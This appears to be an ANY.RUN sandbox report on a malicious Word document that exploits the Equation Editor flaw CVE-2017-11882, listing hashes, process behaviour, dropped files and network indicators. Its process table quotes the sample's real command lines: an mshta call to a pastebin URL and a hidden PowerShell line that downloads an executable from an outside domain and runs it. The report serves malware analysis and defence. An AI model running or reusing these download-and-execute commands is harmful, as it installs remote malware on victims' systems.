analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

aedf3d4a095e1f47664b522ff755a01ef4f5caeb1cfbc4b82f3fae1681298fd2.bin.gz

Full analysis: https://app.any.run/tasks/87921ec7-8c7a-4ff9-b8c4-fc83f0de7c79
Verdict: Malicious activity
Analysis date: July 17, 2019, 09:35:26
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
exploit
CVE-2017-11882
Indicators:
MIME: application/gzip
File info: gzip compressed data, max compression, from Unix
MD5:

7CB156321485C4F90B3DBD7C0A35E521

SHA1:

A73EEFBA4B0CFB65A191797C3B09122DB78C05EE

SHA256:

0449FED15745F537F6C4399E0642598DF7AC312F14F6A8E133050A75C9F1221C

SSDEEP:

24:XKDmSyWLR8buLYBvfN6uHJsPQ7gKSK/BfiR9wXP2:XyldtLknNN/nSKJKR9wXP2

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Equation Editor starts application (CVE-2017-11882)

      • EQNEDT32.EXE (PID: 4072)
    • Executes PowerShell scripts

      • mShta.exe (PID: 2916)
  • SUSPICIOUS

    • Starts MSHTA.EXE for opening HTA or HTMLS files

      • EQNEDT32.EXE (PID: 4072)
    • Executed via COM

      • EQNEDT32.EXE (PID: 4072)
    • Creates files in the user directory

      • mShta.exe (PID: 2916)
      • powershell.exe (PID: 3040)
  • INFO

    • Manual execution by user

      • WINWORD.EXE (PID: 3148)
    • Creates files in the user directory

      • WINWORD.EXE (PID: 3148)
    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 3148)
    • Reads internet explorer settings

      • mShta.exe (PID: 2916)
    • Application was crashed

      • EQNEDT32.EXE (PID: 4072)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.z/gz/gzip | GZipped data (100)

EXIF

ZIP

Compression: Deflated
Flags: (none)
ModifyDate: 0000:00:00 00:00:00
ExtraFlags: Maximum Compression
OperatingSystem: Unix
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
45
Monitored processes
5
Malicious processes
2
Suspicious processes
0

Behavior graph

Click at the process to see the details
start winrar.exe no specs winword.exe no specs eqnedt32.exe mshta.exe powershell.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
3128"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\Desktop\aedf3d4a095e1f47664b522ff755a01ef4f5caeb1cfbc4b82f3fae1681298fd2.bin.gz.z"C:\Program Files\WinRAR\WinRAR.exeexplorer.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Version:
5.60.0
3148"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\aedf3d4a095e1f47664b522ff755a01ef4f5caeb1cfbc4b82f3fae1681298fd2.bin.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
4072"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -EmbeddingC:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
svchost.exe
User:
admin
Company:
Design Science, Inc.
Integrity Level:
MEDIUM
Description:
Microsoft Equation Editor
Exit code:
0
Version:
00110900
2916mShta https://pastebin.com/raw/PqUXNZbB &AAA CC:\Windows\system32\mShta.exe
EQNEDT32.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
3040"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden (new-object System.Net.WebClient).DownloadFile('http://downloads.alovefilm.co/rtf.bin', 'C:\Users\admin\AppData\Local\Temp/lambdoidtegument.exe'); C:\Users\admin\AppData\Local\Temp/lambdoidtegument.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exemShta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
1 626
Read events
1 149
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
2
Text files
4
Unknown types
5

Dropped files

PID
Process
Filename
Type
3128WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRa3128.16671\aedf3d4a095e1f47664b522ff755a01ef4f5caeb1cfbc4b82f3fae1681298fd2.bin.gz
MD5:
SHA256:
3148WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVRA3C.tmp.cvr
MD5:
SHA256:
3040powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\P2T684LTWB8MMD49FZKX.temp
MD5:
SHA256:
3148WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dattext
MD5:4B12DEED38BA0CCAD82CC8445603698E
SHA256:7C047A39BEB9AB34D65F4941048A5E476EE0E500F8C1F056BAD0C9120A271A7F
3148WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:A736A18E3F7BE232E768E03F6C8DAFBD
SHA256:F8026B6ECD9208E9E1AD59BC0938A35EF6F12BEE9CB71FEB772C46D94B0E5DC5
2916mShta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JGRR2OYX\PqUXNZbB[1].txthtml
MD5:CB848CD0F1A42333B25ED1DE644058DB
SHA256:1CF9864D2602520C847F98E240C6AD752312582B117634D95D34A4EE522EA62C
2916mShta.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@pastebin[1].txttext
MD5:091CC0AAC494AF67EC5B7D6DD02126F6
SHA256:7621E68D817A26426A5D058C70EAB094E84A027CCA3EB4471FB8D84F65E70881
3040powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:47388A8B771AD359484FBDBC4C2AF508
SHA256:710A35A9173421C3A0A348EB1AA0D656CB806F93E2E84C36F60FE2ABE570E7F0
3040powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF181b91.TMPbinary
MD5:47388A8B771AD359484FBDBC4C2AF508
SHA256:710A35A9173421C3A0A348EB1AA0D656CB806F93E2E84C36F60FE2ABE570E7F0
3148WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\aedf3d4a095e1f47664b522ff755a01ef4f5caeb1cfbc4b82f3fae1681298fd2.bin.doc.LNKlnk
MD5:A51CDA23008FBA582A7DBF79B0E84A1C
SHA256:7E48E9EC59818FE8C81AADDE9EAEA08C312C2BDFADD9F5E1E4537C851F403BFB
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
1
DNS requests
3
Threats
0

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2916
mShta.exe
104.20.208.21:443
pastebin.com
Cloudflare Inc
US
shared

DNS requests

Domain
IP
Reputation
pastebin.com
  • 104.20.208.21
  • 104.20.209.21
shared
downloads.alovefilm.co
unknown

Threats

No threats detected
No debug info